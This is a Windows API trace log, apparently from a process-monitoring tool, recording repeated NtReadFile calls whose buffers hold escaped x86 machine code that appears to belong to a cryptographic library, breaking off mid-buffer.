09:12:11,114	972	NtReadFile	Buffer => v\x81\xf9\x02f\x00\x00tX\x81\xf9\x03f\x00\x00t:\x81\xf9 f\x00\x00t2\x81\xf9 f\x00\x00vl\x81\xf9\x10f\x00\x00wd\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00\xffpxPh\x90\x98\x01h\xe8\xfe\xe7\xff\xff\x85\xc0tF\x8b\xf0\xebf\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph\xa0t\x01h\xeb\xdd\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph\xd0f\x01h\xeb\xc7\xffu\x14\x8dM\xf0Q\xffu\xf4j\x00j\x08Ph V\x01h\xeb\xb1\x8bu\xf0\x8bE\x10\x8bU\xec\x03\xf2\x8b\xc8\x8b\xd1\xc1\xe9\x02\x8d{\x14\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x89\x033\xff3\xf6\x83}\xf4\x00t\x08\xffu\xf4\xe8\xf0\xa0\x01\x00\x8bE\xfc\x85\xc0t\x12\x83\xc0\xf8\x818Heapu\x07P\xff\x15\x1c \x03h\x8bE\xf8\x85\xc0t\x12\x83\xc0\xf8\x818Heapu\x07P\xff\x15\x1c \x03h\x8b\xc6\x8de\xe0_^[\xc9\xc2\x10\x00\xcc\xcc\xcc FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xe9\x02\xf3\xa5\x8b\xc8\x8bE\xfc\x83\xe1\x03\xf3\xa4\x8bu\x08\x03\xc3\x01E\x14\x8b}\x14\x8b\xcb\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x8bE\x08\x83\xe1\x03\xf3\xa4\x8bJ\x04\x8d4\x18\x8bE\x14\xc1\xe9\x03\x8d<\x18\x03}\xfc\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x8bE\xf4\x83\xc0\xecP\xffu\x0c\x83\xe1\x03\xf3\xa4\xe8\x9f\x91\x01\x00\x85\xc0t\x043\xc0\xeb&\x8b}\xf0\x8bu\xf43\xc0@\x8bM\x18\x899\x8bM\x10\x891\xeb\x113\xc0\xeb\xf0\x8bE\x18\x898\x8bE\x10\x8903\xc0@_[^\xc9\xc2\x14\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x0c%\x00\xe0\x00\x00=\x00\x80\x00\x00u\x043\xc0\xeb\x1a\x8bE\x08\x8b\x80\x84\x01\x00\x00j\x00\xffu\x0c\xff4\x85(\x18\x03h\xe8c\xe1\x01\x00]\xc2\x08\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x0c\x8bM\x14W3\xff-\x00$\x00\x00\x899t\x19-\x01(\x00\x00td\x83\xe8\x03tTHtFHtY-\xfaW\x00\x00u\x06 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xfa\x10f\x00\x00w\x05\x8bIx\xeb\x8a\x83&\x00\xebA\xc7\x06@\x00\x00\x00\xeb9\x8bM\x1c\x8bI\x10\x85\xc9u\x07\xb9 \x00 \x80\xeb:\x8bI\x08\x89\x0e\xeb!\xf7\xde\x1b\xf6\x81\xe6\xea\x00\x00\x00\x8b\xce\xeb#\x8bM\x14\x85\xc9t\x129\x18r\x0e\x8bU\x1c\x8bR\x04\x89\x11\x89\x183\xc9\xeb\x0c\xf7\xd9\x1b\xc9\x81\xe1\xea\x00\x00\x00\x89\x18_[3\xc0\x85\xc9\x0f\x94\xc0\x8b\xf0\x85\xf6u\x07Q\xff\x15\xc4\x11\x00h\x8b\xc6^]\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecSV\x8bu\x083\xc0\xf6\x06 Wt\x01@\x83}\x0c\x02u\x13\xbb\x84\x12\x00h\xbf|\x12\x00h\xc7E\x08t\x12\x00h\xeb\x17\x83}\x0c\x01uP\xbbl\x12\x00h\xbfd\x12\x00h\xc7E\x08\\x12\x00h\x83\xbeX\x01\x00\x00\x00t\x15j\x00P\xffu\x0ch\xb0\x1a\x03hV\xe8\xcb\xab\x00\x00\x85\xc0u&W\x8b=\xc4\x10\x00h\x81\xc6@\x01\x00\x00\xff6\xff\xd7\xffu\x08\xff6\xff\xd7S FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x8bu \x85\xf6t\x1d3\xc9;\xc1v\x17\x8dE\xdc+\xf0\x8dD \xdc\x8a\x1c\x060\x18A;M\x18r\xf1\x8b]\xd8\x8b}\x08\x81\xff\x01f\x00\x00\x0f\x84\xf1\x00\x00\x00\x81\xff\x02f\x00\x00\x0f\x84\xbc\x00\x00\x00\x81\xff\x03f\x00\x00\x0f\x84\x87\x00\x00\x00\x81\xff f\x00\x00t\x7f\x81\xff f\x00\x00vm\x81\xff\x10f\x00\x00v6;\xfaua\x8bM\x18\x8bu\xd0\x8b\xc1\xc1\xe9\x02\x83}$\x01\x8d}\xect\x03\x8bu\xd4\xf3\xa5\x8b\xc8\x8dE\xecP\xffu\x18\x83\xe1\x03S\xf3\xa4\xe8\x18\xec\x00\x00\xe9\xb2\x00\x00\x00\x83}$\x01u\x15j\x01S\x8dE\xdcP\x8dE\xecP\xe8\x8d\xea\x00\x00\xe9\x9d\x00\x00\x00j\x00S\xffu\xd4\x8dE\xecP\xe8y\xea\x00\x00\xe9\x83\x00\x00\x00\xbe\x08\x00 \x80\xe9\xc7\x00\x00\x00\x83}$\x01u\x12j\x01S\x8dE\xdcP\x8dE\xecP\xe8d\xc6\x00\x00\xebgj\x00S\xffu\xd4\x8dE\xecP\xe8S\xc6\x00\x00\xebP\x83}$\x01u FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x01\x00\x00\x8dE\xf4PV\xffu\x18\xe8\xcd\xcb\xff\xff\x85\xc0\x0f\x84D\x01\x00\x009u\xf0\x8bE\xf4\x8bM\x14\x8d<\x01u\x17W\xe8@a\x01\x00\x8b\xd8;\xde\x89]\xecu\x11j\x08^\xe9\xb6\x01\x00\x00\x8b]\xf8\x83\xc3\x08\x89]\xec\x8dE\xf4PS\xffu\x18\xe8\x8a\xcb\xff\xff\x85\xc0\x0f\x84\x01\x01\x00\x009u\x10t\x1eVW\x8dE\xf4PSVj\x01V\xffu\x10\xffu\x08\xe8\xd4\xab\xff\xff;\xc6\x0f\x85\xb8\xfd\xff\xff\x83}\xf0\x00\x8bM\xf4\x8dY\x08\x0f\x85<\x01\x00\x00\x8b}\x1c\x8bu\xec\x83\xc7\x08\xe96\x01\x00\x00\x8a\x06<\x03t\x08<\x04\x0f\x85\xb2\x00\x00\x00\x8bE\xfc\x8b@\x10\x85\xc0\x0f\x84\xb8\x00\x00\x00\x8bX\x08\x8bu\x1c\x83\xc3\x07\xc1\xeb\x03\x83\xc3\x14\x85\xf6\x0f\x84\x15\x01\x00\x00\x8bM 9\x19\x0f\x82 \x01\x00\x00\x8b\x08\x8bU\xf8\x89J\x08\x8bH\x08\x89J\x0c\x8bH\x10\x89J\x10\x8bH\x08\x83\xc1\x07\xc1\xe9\x03\x8dp\x14\x8b\xc1\xc1\xe9\x02\x8d FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => k\x83E\x90\x08u2\x8b\xb5|\xff\xff\xff\x8dF\x08;\xc6r\x18P\xff\x15\x18 \x03h;\xc7\x89E\x90t\x0f\xc7\x00Heap\x83E\x90\x089}\x90u\x08j\x08[\xe9\x85\x02\x00\x00\x8d\x85|\xff\xff\xffP\x8dE\x90P\x8bE\x94\xffp\x1c\xe8\x8d\xa5\xff\xff;\xc7\x0f\x85c\xfc\xff\xff\xffu\x88\x8bE\x94\xffu\x98\xffu\x90\xffp\x1c\xe8x\xa9\xff\xff;\xc7\x0f\x85G\xfc\xff\xff\xff\xb5t\xff\xff\xff\x8dE\x9cP\xffu\x90\x8bE\x94\xffp\x1c\xe8X\xa9\xff\xff;\xc7\x0f\x85'\xfc\xff\xff\x8bE\x94\x8bx\x10\x8b\x8d|\xff\xff\xff\x8bu\x90\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bE\x94\x83H \x02\x8bM\x80\x8b}\x8c\x8b\xd1\xc1\xe9\x02\x8b\xb5x\xff\xff\xff3\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bM\x88\x8b}\x98\x8b\xd1\xc1\xe9\x023\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\x94VS\xffp\x10\xffp\x18\xffp\x1c\xe8\x94\xf8\xff\xff\x85\xc0\xe9\xb1 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xeb\x07\xc7E\xb8p\xf0\x02h\x8bU\x143\xf6\x85\xd2v\x13\x8bE\x10\x8dD\x10\xff\x8a\x08\x88L5\xbcFH;\xf2r\xf4\x8b]\x1c\x8b\xca\x8b\xfb\x8du\xbc3\xc0\xf3\xa6t\x05\x1b\xc0\x83\xd8\xff\x85\xc0u~\xf6E\x18\x01\x8b\xca\x89M\xb4uG\x8bu\xb8\x85\xf6t@\x8b\x06\x808\x00t9\x89u\xb8\x0f\xb6\x18\x8dx\x01\x8bE\x1c\x8d4\x02\x8b\xcb3\xc0\xf3\xa6t\x05\x1b\xc0\x83\xd8\xff\x85\xc0t\x13\x83E\xb8\x04\x8bE\xb8\x8b\x00\x808\x00u\xd5\x8bM\xb4\xeb\x03\x8d\x0c\x13\x8b]\x1c\x80<\x19\x00u&\x8bE\x08\x8b@\x0c\x80<\x18\x00u\x1a\x80|\x18\xff\x01u\x13AH\xeb\x07\x80<\x19\xffu A;\xc8r\xf53\xc0\xeb\x0c\xb8\x06\x00 \x80\xeb\x05\xb8\x02\x00 \x80\x8bM\xfc_^[\xe8\x92n\x00\x00\xc9\xc2\x18\x00\x10\xdd\x00h\x19\xdd\x00h"\xdd\x00h+\xdd\x00h\x17\xde\x00h\x17\xde\x00h\x17\xde\x00h4\xdd\x00h\x17\xde\x00h\x17\xde\x00h\x17 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => _j\x06\x8dM\xc0Q\x8dM\xe4Q\xffu\xc8\x89}\xc0P\xffU\xb8;\xc3u\x06f9}\xc0t8\x83\xf82\x8bu\xcctSW\x8dE\xe4P\x8dF8P\x8dFXP\x8d\x86d\x01\x00\x00P\xe8\xb7\xe9\xff\xff;\xc3uSSj\x06W\x8dE\xe4P\xffu\xc8\xffu\xd4\xffU\xc4\xeb\x03\x8bu\xccW\xe8\x0c1\x01\x00;\xc3\x89\x86H\x01\x00\x00u\x08j\x08^\xe9\x1a\x01\x00\x00\x8du\xe4\xe9\xff\x00\x00\x00\x8dE\xd8PSSh\x03\x80\x00\x00\xffv\x0c\xe8\xd9\x86\xff\xff\x85\xc0u \xff\x15\xc8\x11\x00h\x8b\xf0\xe9\xee\x00\x00\x00S\x8dE\xecPj\x02\xffu\xd8\xffv\x0c\xe8k\xb7\xff\xff\x85\xc0t\xdd\x8dE\xbcPj\x01\xffv\x0c\xffu\xd8\xe8\xf0$\x00\x00;\xc3t\x11= \x00 \x80u\xc7\xbe\x02\x00 \x80\xe9\xb2\x00\x00\x00\x8bE\xbc\xffu\xd0\x8b=\xbc\x11\x00h\x83`\x18\xfe\xff\xd7@P\xe8y0\x01\x00;\xc3\x89E\xe0tw\xffu\xd0P\xff\x15 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xff\xff\xff6\xe8\xcc!\x01\x00\x8bu\x18\x89\x06\x8bE\x10\xff0\xe8T!\x01\x00;\xc3\x89\x07\x0f\x84r\xff\xff\xff\xff6\xe8C!\x01\x00;\xc3\x8bM\x0c\x89\x01\x0f\x84^\xff\xff\xff\xffu\xf0\xffu\xf8h\x01\x00\x01\x00\xffu\x1cP\xff7\xe8 \xfc\x00\x00\x8b\xf0\xf7\xde\x1b\xf6\x81\xe6\xb1\xfa\xff\xff\x81\xc6O\x05\x00\x00\x8dE\xdcP\x8d\x85p\xff\xff\xffP\xe8\xfbz\x01\x00\x85\xc0u\x0e;\xf3u \xffu\xe4\xe8\xf6F\x00\x00\x8b\xf09]\xd0t"\x8dE\xdcP\x8d\x85\xc0\xfe\xff\xffP\xe8\xaev\x01\x00\x85\xc0u\x0e;\xf3u \xffu\xe4\xe8\xcfF\x00\x00\x8b\xf09]\xect\x08\xffu\xec\xe8\xfb \x01\x009]\xf8t\x08\xffu\xf8\xe8\xee \x01\x009]\xf0t\x08\xffu\xf0\xe8\xe1 \x01\x00;\xf3t\x1b\x8b?;\xfbt\x06W\xe8\xd1 \x01\x00\x8bE\x0c\x8b\x00;\xc3t\x06P\xe8\xc2 \x01\x00_\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xdbC\x89]\xa8\x8bE\x18=\x00\x04\x00\x00r0P\x8dE\xccP\x8dE\xc8P\x8dE\xc4P\x8dE\xdcP\x8dE\xe0P\xe8\\xee\xff\xff\x89E\xe4\x85\xc0\x0f\x85\xfd\x01\x00\x00\x89]\xd0\x8b}\xdc\xe9\x8f\x00\x00\x00\x89E\xa4\x8dE\xa4P\x8dE\xc8P\x8dE\xc4P\xe8\xa9\xef\x00\x00\x85\xc0u\x0c\xc7E\xe4 \x00 \x80\xe9\xce\x01\x00\x00\xffu\xc4\xe8\x01\x11\x01\x00\x89E\xe0\x85\xc0u\x0c\xc7E\xe4\x08\x00\x00\x00\xe9\xb3\x01\x00\x00\x89]\xd0\xffu\xc8\xe8L\x11\x01\x00\x89E\xccP\xe8\xda\x10\x01\x00\x8b\xf8\x89}\xdc\x85\xfft\xd7\x8d\x86d\x01\x00\x00\x838\xfft\x10\x89E\x90\xc7E\x94o\xd7\x00h\x8dE\x90\x89E\xc0h\x01\x00\x01\x00\xffu\x18W\xffu\xe0\xffu\xc0\xe8\xf2\xe8\x00\x00\x85\xc0t\x89\x8bE\xcc\x83\xc0\xecP\x8dG\x14P\xe8\x1c\x11\x01\x00\x89E\xd8\x85\xc0\x0f\x85E\x01\x00\x00PSSW\xffu\xe0\xe8s\xfc\xff\xff\x89E\xd8\x85\xc0\x0f\x85.\x01\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x85\xe2\x00\x00\x00\xe8\x1f\xf7\xff\xff\x85\xc0\x0f\x84\xd5\x00\x00\x00\x8d\x85\xa4\xfe\xff\xffP\xe8\x8e\x80\x00\x00j\x03h\x1c\xf8\x02h\x8d\x85\xa4\xfe\xff\xffP\xe8K\x8c\x00\x00\x8d\x85|\xff\xff\xffP\x8d\x85\xa4\xfe\xff\xffP\xe8h\x8d\x00\x00\x8b\xcb\xbf \xf8\x02h\x8d\xb5|\xff\xff\xff3\xc0\xf3\xa7\x0f\x85\x8c\x00\x00\x00\x8d\x85\xd4\xfd\xff\xffP\xe85\x8e\x00\x00j\x03h@\xf8\x02h\x8d\x85\xd4\xfd\xff\xffP\xe8R\xbd\x00\x00\x8d\x85L\xff\xff\xffP\x8d\x85\xd4\xfd\xff\xffP\xe8\xbf\xc5\x00\x00j\x0cY\xbfD\xf8\x02h\x8d\xb5L\xff\xff\xff3\xc0\xf3\xa7uF\x8d\x85\x04\xfd\xff\xffP\xe8\x7f\x8e\x00\x00j\x03ht\xf8\x02h\x8d\x85\x04\xfd\xff\xffP\xe8\x0c\xbd\x00\x00\x8d\x85\x0c\xff\xff\xffP\x8d\x85\x04\xfd\xff\xffP\xe8Y\xbe\x00\x00j\x10Y\xbfx\xf8\x02h\x8d\xb5\x0c\xff\xff\xff3\xc0\xf3\xa7t \xb8 \x00 \x80\xe9\xfa\x01\x00\x00j\x00h\x8c\xf6\x02hj\x05h\x84\xf6\x02hj FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x04\x00\x00\x8br\x10\x8b\xd1\xc1\xe9\x02\x8d\xb80\x03\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bH\x03\x00\x00\x89H\x04\x8b\x8bL\x03\x00\x00\x89H\x08\x8b\x8bP\x03\x00\x00\x89H\x0c\x8b\x8bT\x03\x00\x00\x89H\x10\x8b\x8bX\x03\x00\x00\x89H\x14\x8b\x8b\\x03\x00\x00\x89H\x18\x8b\x8b4\x01\x00\x00\x89\x88\x1c\x01\x00\x00\x8b\xd1\xc1\xe9\x02\x8ds4\x8dx\x1c\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8b8\x02\x00\x00\x89\x88 \x02\x00\x00\x8b\xd1\xc1\xe9\x02\x8d\xb38\x01\x00\x00\x8d\xb8 \x01\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bD\x03\x00\x00\x89\x88,\x03\x00\x00\x8d\xb8,\x02\x00\x00\x8b\xc1\xc1\xe9\x02\x8d\xb3D\x02\x00\x00\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\xe9\x1b\x02\x00\x00\x8bJ\x0c\x89\x880\x04\x00\x00\x8br\x10\x8b\xd1\xc1\xe9\x02\x8d\xb80\x03\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bH\x03\x00\x00\x89H\x04\x8b\x8bL\x03\x00\x00\x89H\x08\x8b\x8bP\x03\x00\x00\x89H\x0c\x8b\x8bT\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x00+\xc1\x89u\xcc\x89U\xd8\x89U\xd0\x89U\xc4\x89U\xc0\x0f\x84H\x01\x00\x00\x83\xe8\x04t \xbe\x08\x00 \x80\xe9\x97\x01\x00\x00\xf6\x834\x04\x00\x00\x01\x8b{\x0c\x8bC\x04\x89}\xd4\x89E\xc8\x0f\x84\xcd\x00\x00\x00\xffu\x14\x8dE\xf4P\x8dE\xd0P\x8dE\xdcP\x8dE\xccP\x8dE\xd4P\x8dE\xc4PS\xe8<\xfe\xff\xff\x85\xc0\x0f\x852\x01\x00\x00\x8bE\xcc\xf6E\x14\x01t\x07\xc7E\xc0\x01\x00\x00\x00\x8dM\xd8Qj\x01j\x00P\xff6W\xffu\xc0\xffu\xc8\xe8\xf8G\xff\xff\x85\xc0\x0f\x85\x03\x01\x00\x00\x81}\xc8\x02f\x00\x00u \x8bE\xd8\xc7@l\x80\x00\x00\x00\x8b}\xd8\x8bM\xd0\x8b\xc1\xc1\xe9\x02\x83\xc7D\x8du\xdc\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bE\xd8\x8bM\xd0\x89H@\x8b[\x18\x85\xdbt\x19\x8b}\xd8\x8b\xcb\x8b\xc1\xc1\xe9\x02\x83\xc7\x1c\x8du\xf4\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4j\x00\xffu\xd8\xffu\xbc\xe8\xdbI\xff\xff\x85\xc0\x0f\x85\x85 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x8b@\xfc\x89\x85\xdc\xfd\xff\xffj\x14Y3\xc0\x8d\xbd\xd0\xfc\xff\xff\xf3\xab\xc7\x85\xd0\xfc\xff\xff \x04\x00\xc0\x8bE\x04\x89\x85\xdc\xfc\xff\xff\x8d\x85\xd0\xfc\xff\xff\x89E\xf8\x8d\x85(\xfd\xff\xff\x89E\xfc\xa1\x84\x18\x03h\x89\x85 \xfd\xff\xff\xa1\x80\x18\x03h\x89\x85$\xfd\xff\xffj\x00\xff\x15\xd4\x10\x00h\x8dE\xf8P\xff\x15\xd8\x10\x00hh\x02\x05\x00\x00\xff\x15\xdc\x10\x00hP\xff\x15\xe0\x10\x00h_\xc9\xc3\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecV3\xf69u\x0cu\x0e95\x9c\x1a\x03h~-\xff \x9c\x1a\x03h\x83}\x0c\x01\xa1\xf0\x11\x00h\x8b\x00\xa3\x00 \x03hu=h\x80\x00\x00\x00\xff\x15\xec\x11\x00h;\xc6Y\xa3\x08 \x03hu\x043\xc0\xebg\x890\xa1\x08 \x03hh\x08\xf0\x02hh\x00\xf0\x02h\xa3\x04 \x03h\xe8\xac\x01\x00\x00\xff\x05\x9c\x1a\x03hY\xeb?9u\x0cu;\xa1\x08 \x03h;\xc6t2\xeb\x13\x8b \x04 \x03h\x8b ; FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => t3\xc63\xd6%\xfc\xfc\xfc\xfc\x81\xe2\xcf\xcf\xcf\xcf\x8a\xd8\x8a\xcc\xc1\xca\x04\x8b\xab\xb8\x18\x00h\x8a\xda3\xfd\x8b\xa9\xb8\x1a\x00h3\xfd\x8a\xce\xc1\xe8\x10\x8b\xab\xb8\x19\x00h3\xfd\x8a\xdc\xc1\xea\x10\x8b\xa9\xb8\x1b\x00h3\xfd\x8bl$\x1c\x8a\xce%\xff\x00\x00\x00\x81\xe2\xff\x00\x00\x00\x8b\x9b\xb8\x1e\x00h3\xfb\x8b\x99\xb8\x1f\x00h3\xfb\x8b\x98\xb8\x1c\x00h3\xfb\x8b\x9a\xb8\x1d\x00h3\xfb\x8bEx3\xdb\x8bU|3\xc73\xd7%\xfc\xfc\xfc\xfc\x81\xe2\xcf\xcf\xcf\xcf\x8a\xd8\x8a\xcc\xc1\xca\x04\x8b\xab\xb8\x18\x00h\x8a\xda3\xf5\x8b\xa9\xb8\x1a\x00h3\xf5\x8a\xce\xc1\xe8\x10\x8b\xab\xb8\x19\x00h3\xf5\x8a\xdc\xc1\xea\x10\x8b\xa9\xb8\x1b\x00h3\xf5\x8bl$\x1c\x8a\xce%\xff\x00\x00\x00\x81\xe2\xff\x00\x00\x00\x8b\x9b\xb8\x1e\x00h3\xf3\x8b\x99\xb8\x1f\x00h3\xf3\x8b\x98\xb8\x1c\x00h3\xf3\x8b\x9a\xb8\x1d\x00h3\xf3\x8bT$\x14\xd1\xce\x8b\xc73\xfe\x81\xe7\xaa\xaa\xaa\xaa3 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x83\xf0\xff#\xc2\x03\xcd\x03\xc83\xc0f\xc1\xc1\x02f\x8b\xc1\x8b\xe8\x83\xf0\xff#\xeb#\xc7\x03\xd0\x8bF\x04\x03\xd0\xc1\xe8\x10\x03\xd5\x03\xf83\xc0f\xc1\xc2\x03f\x8b\xc2\x8b\xe8\x83\xf0\xff#\xc3#\xe9\x03\xf8\x03\xfd\x83\xc6\x08f\xc1\xc7\x05\x8b\xc7\xf7\xd0\x8b\xef#\xc1#\xea\x03\xd8\x8b\x06\x03\xdd\x03\xd8\xc1\xe8\x10\x8b\xef\x03\xc83\xc0f\xd1\xc3f\x8b\xc3#\xe8\x83\xf0\xff#\xc2\x03\xcd\x03\xc83\xc0f\xc1\xc1\x02f\x8b\xc1\x8b\xe8\x83\xf0\xff#\xeb#\xc7\x03\xd0\x8bF\x04\x03\xd0\xc1\xe8\x10\x03\xd5\x03\xf83\xc0f\xc1\xc2\x03f\x8b\xc2\x8b\xe8\x83\xf0\xff#\xc3#\xe9\x03\xf8\x03\xfd\x83\xc6\x08f\xc1\xc7\x05\xe9h\x06\x00\x00\x8d\xa4$\x00\x00\x00\x00\x90\x83\xc6xf\xc1\xcf\x05\x8b\xc2\x8b\xea\x83\xf0\xff#\xe9#\xc3f\xc1\xca\x03\x03\xc5+\xf8\x8bF\x04\x8b\xe9+\xd0\xc1\xe8\x10+\xf8\x8b\xc1\xf7\xd5#\xc3#\xef\x03\xe8f\xc1\xc9\x02+\xd5\x8b\xc3\x8b\xef\xf7\xd0#\xeb#\xc2f\xd1\xcb\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => h34\x9d\xd81\x00h\x8b]\xf8\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6]\xf434\x9d\xd8)\x00h\x0f\xb6]\xf2\x89p\x08\x0f\xb6u\xf7\x8b4\xb5\xd85\x00h34\x9d\xd81\x00h\x0f\xb6\xd6\x8b\x1c\x95\xd8-\x00h\x0f\xb6U\xf83\xf334\x95\xd8)\x00h\x8bX\x04\x89p\x0c\x8b0\x8bQ\x083\xd6\x8bq\x0c3\xf3\x8bX\x08\x89u\xf0\x8bq\x103\xf3\x8bX\x0c\x89u\xf4\x8bq\x14\x89U\xec3\xf3\x89u\xf8\x8b]\xf4\xc1\xee\x18\x8b4\xb5\xd85\x00h\xc1\xeb\x10\x0f\xb6\xdb34\x9d\xd81\x00h\x8b]\xf0\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6\xda34\x9d\xd8)\x00h\x8b]\xf8\x890\xc1\xeb\x10\x0f\xb6\xdb\x8b\xf2\xc1\xee\x18\x8b4\xb5\xd85\x00h34\x9d\xd81\x00h\x8b]\xf4\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6]\xf034\x9d\xd8)\x00h\x0f\xb6]\xee\x89p\x04\x8bu\xf0\xc1\xee\x18\x8b4\xb5\xd85 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xc7E\xe8\x02\x00\x00\x00\xeb\x03\x8dI\x00\x8bQ\xf83\x10\x8bq\xfc3p\x04\x89u\xf0\x8b9\x8bp\x083\xf7\x89u\xf4\x8bY\x043X\x0c\x8bu\xf0\x0f\xb6}\xf6\xc1\xee\x18\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xff34\xbd\xd8=\x00h\x0f\xb6\xfa34\xbd\xd89\x00h\x89U\xec\x890\x8bu\xf4\xc1\xee\x18\x8b4\xb5\xd8E\x00h\x89]\xf8\x0f\xb6}\xfa34\xbd\xd8A\x00h\x0f\xb6\xd6\x8b<\x95\xd8=\x00h\x8bU\xf03\xf7\x0f\xb6\xfa34\xbd\xd89\x00h\x0f\xb6}\xee\x89p\x04\x8b\xf3\xc1\xee\x18\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xd6\x8b<\x95\xd8=\x00h\x8bU\xf43\xf7\x0f\xb6\xfa34\xbd\xd89\x00h\x0f\xb6}\xf2\x89p\x08\x0f\xb6u\xef\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xd634\x95\xd8=\x00h\x0f\xb6\xd3\x8b<\x95\xd89\x00h\x8bX\x043\xf7\x8bx\x08\x89p\x0c\x8b0\x8bQ\xe83 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xc8\x8b\xf1\xc1\xe9\x02\x8d|\x05\xbc3\xc0\xf3\xab\x8b\xce\x83\xe1\x03\xf3\xaa\x8b]\xb4\x8bu\xb8\xb9\x07\x00\x00\x00+\xcb\x8a\\x15\xbc\xb8\x01\x00\x00\x00\xd3\xe0\x8a\xc8\xfe\xc9 \xd8\xf6\xd1"\xcb\x83\xfa7\x88L\x15\xbc[v6\x8dU\xbcRV\xe8\x91a\x00\x003\xc0\x89E\xbc\x89E\xc0\x89E\xc4\x89E\xc8\x89E\xcc\x89E\xd0\x89E\xd4\x89E\xd8\x89E\xdc\x89E\xe0\x89E\xe4\x89E\xe8\x89E\xec\x89E\xf0\x8bN\x10\x8bV\x14\x8dE\xbcPV\x89M\xf4\x89U\xf8\xe8Oa\x00\x00\x8bM\xfc_\xc7F\x18\x01\x00\x00\x003\xc0^\xe8\xc5\xae\xff\xff\x8b\xe5]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x083\xc9\xc7\x00g\xe6 j\xc7@\x04\x85\xaeg\xbb\xc7@\x08r\xf3n<\xc7@\x0c:\xf5O\xa5\xc7@\x10\x7fR\x0eQ\xc7@\x14\x8ch\x05\x9b\xc7@\x18\xab\xd9\x83\x1f\xc7@\x1c\x19\xcd\xe0[\x89H \x89H$]\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xff\xff\x89}\xd8\x8bx\x1c\x89\x95<\xfc\xff\xff\x89U\xb4\x8bP \x89\xbd@\xfc\xff\xff\x89}\xb8\x8bx$\x89\x95|\xfc\xff\xff\x89U\xdc\x8bP(\x89\xbd\x80\xfc\xff\xff\x89}\xe0\x8bx,\x89\x95L\xfc\xff\xff\x89U\xbc\x8bP0\x89\x8d\x9c\xfc\xff\xff\x89M\xcc\x8bH\x0c\x89\xbdP\xfc\xff\xff\x89}\xc0\x8bx4\x89\x95l\xfc\xff\xff\x89U\xc4\x8bP8\x8b@<\x89\x850\xfc\xff\xff\x89E\xf0\x89\x8d`\xfc\xff\xff\x89\xbdp\xfc\xff\xff\x89}\xc8\x89\x95,\xfc\xff\xff\x89U\xec3\xc0\xeb\x03\x8bu\x0c\x8b\x1e\x8bV\x04\x83\xc6\x08\x89u\x0c3\xf6\x0b\xd63\xff\x0b\xfb\x8b\xda\x89]\x94\x89}\x98\x8b\xf7\x0f\xa4\xdf\x08\x0f\xac\xf2\x08\xc1\xe3\x083\xd3\x8b]\x98\xc1\xee\x083\xf7\x8b}\x94\x0f\x